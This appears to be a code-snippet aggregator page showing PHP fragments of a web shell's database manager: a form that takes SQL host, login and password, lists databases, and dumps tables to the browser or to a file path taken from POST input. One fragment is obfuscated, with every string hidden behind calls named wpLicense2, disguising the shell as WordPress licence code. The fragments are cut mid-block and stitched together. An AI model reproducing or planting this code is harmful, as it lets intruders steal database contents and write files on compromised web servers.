示例#1
0
			<tr>
				<input type=hidden name=a value=Sql>
				<input type=hidden name=p1 value='query'>
				<input type=hidden name=p2>
				<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
				<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
				<td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
				<td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
				<td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
				<td>
	<?php
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=''></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
		}
		else echo $tmp;
	}else
		echo $tmp;
示例#2
0
                     } else {
                         echo $sql;
                     }
                 }
                 break;
         }
         return false;
     }
 }
 $db = new DbClass($_POST['type']);
 if (@$_POST['p2'] == 'download' && @$_POST['p1'] != 'select') {
     $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
     $db->selectdb($_POST['sql_base']);
     switch ($_POST['charset']) {
         case "Windows-1251":
             $db->setCharset('cp1251');
             break;
         case "UTF-8":
             $db->setCharset('utf8');
             break;
         case "KOI8-R":
             $db->setCharset('koi8r');
             break;
         case "KOI8-U":
             $db->setCharset('koi8u');
             break;
         case "cp866":
             $db->setCharset('cp866');
             break;
     }
     if (empty($_POST['file'])) {
							$columns[] = $k;
						}
                        $sql =  wpLicense2(1179).$table. wpLicense2(1180).implode( wpLicense2(1181), $columns). wpLicense2(1182).implode( wpLicense2(1183), $item). wpLicense2(1184). wpLicense2(1185);
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST[ wpLicense2(1186)]);
	if(@$_POST[ wpLicense2(1187)]== wpLicense2(1188)) {
		$db->connect($_POST[ wpLicense2(1189)], $_POST[ wpLicense2(1190)], $_POST[ wpLicense2(1191)], $_POST[ wpLicense2(1192)]);
		$db->selectdb($_POST[ wpLicense2(1193)]);
        switch($_POST[ wpLicense2(1194)]) {
            case  wpLicense2(1195): $db->setCharset( wpLicense2(1196)); break;
            case  wpLicense2(1197): $db->setCharset( wpLicense2(1198)); break;
            case  wpLicense2(1199): $db->setCharset( wpLicense2(1200)); break;
            case  wpLicense2(1201): $db->setCharset( wpLicense2(1202)); break;
            case  wpLicense2(1203): $db->setCharset( wpLicense2(1204)); break;
        }
        if(empty($_POST[ wpLicense2(1205)])) {
            ob_start( wpLicense2(1206), round(0+4096));
            header( wpLicense2(1207));
            header( wpLicense2(1208));
            foreach($_POST[ wpLicense2(1209)] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST[ wpLicense2(1210)],  wpLicense2(1211))) {
            foreach($_POST[ wpLicense2(1212)] as $v)
                $db->dump($v, $fp);